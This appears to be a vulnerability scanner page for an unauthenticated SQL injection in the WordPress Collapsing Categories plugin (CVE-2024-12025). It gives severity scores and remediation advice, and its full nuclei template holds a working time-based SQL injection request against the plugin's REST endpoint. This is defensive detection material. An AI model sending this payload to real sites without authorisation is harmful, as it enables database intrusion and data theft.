WordPress Collapsing Categories <= 3.0.8 - SQL Injection

highseverity

7.5CVSS score

2.7%likelihood of exploitation, next 30 days

86%of all CVEs are less likely

Readycheck to confirm it

Collapsing Categories plugin for WordPress <= 3.0.8 contains a sql_injection caused by insufficient escaping of 'taxonomy' parameter in /wp-json/collapsing-categories/v1/get REST API, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires sending crafted 'taxonomy' parameter.

Impact

Attackers can execute arbitrary SQL queries, potentially leading to data leakage or database compromise.

Fix

Update to the latest version of the plugin that addresses this vulnerability or apply security patches provided by the vendor.

How to confirm it

Send: @timeout: 20s
Positive when: duration >= 8 and status_code == 200 and contains(body, "post_title") and contains(content_type, "application/json")

Run it with nuclei: nuclei -id CVE-2024-12025 -u <target>

The full check

id: CVE-2024-12025

info:
  name: WordPress Collapsing Categories <= 3.0.8 - SQL Injection
  author: Shivam Kamboj
  severity: high
  description: |
    Collapsing Categories plugin for WordPress <= 3.0.8 contains a sql_injection caused by insufficient escaping of 'taxonomy' parameter in /wp-json/collapsing-categories/v1/get REST API, letting unauthenticated attackers execute arbitrary SQL queries, exploit requires sending crafted 'taxonomy' parameter.
  impact: |
    Attackers can execute arbitrary SQL queries, potentially leading to data leakage or database compromise.
  remediation: |
    Update to the latest version of the plugin that addresses this vulnerability or apply security patches provided by the vendor.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/collapsing-categories/collapsing-categories-308-unauthenticated-sql-injection
    - https://nvd.nist.gov/vuln/detail/CVE-2024-12025
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-12025
    epss-score: 0.02687
    epss-percentile: 0.85979
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
  tags: cve,cve2024,wordpress,wp,wp-plugin,sqli,collapsing-categories,vkev

http:
  - raw:
      - |
        @timeout: 20s
        GET /wp-json/collapsing-categories/v1/get?showPosts=1&taxonomy=category%27%29+AND+(SELECT+1+FROM+(SELECT(SLEEP(8)))a)--+- HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration >= 8'
          - 'status_code == 200'
          - 'contains(body, "post_title")'
          - 'contains(content_type, "application/json")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from